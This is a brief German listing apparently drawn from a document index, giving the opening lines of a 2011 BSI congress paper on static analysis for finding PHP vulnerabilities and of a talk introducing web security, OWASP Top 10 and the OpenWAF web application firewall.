BSI - 12. Deutscher IT-Sicherheitskongress 10.-12. Mai.2011, Bonn Automatisierte Schwachstellenerkennung in PHP-Software mittels statischer Quellcode-Analyse, Ruhr-Universität Bochum 1 1.1 Motivation Schwachstellen
OpenWAF Web Application Firewall
OpenWAF Web Application Firewall Websecurity und OpenWAF in 60 Minuten Helmut Kreft Fuwa, 15.11.2010 Agenda Webapplikationen? Furcht und Schrecken! OWASP Top 10 - Theorie und Praxis mit dem BadStore Umgang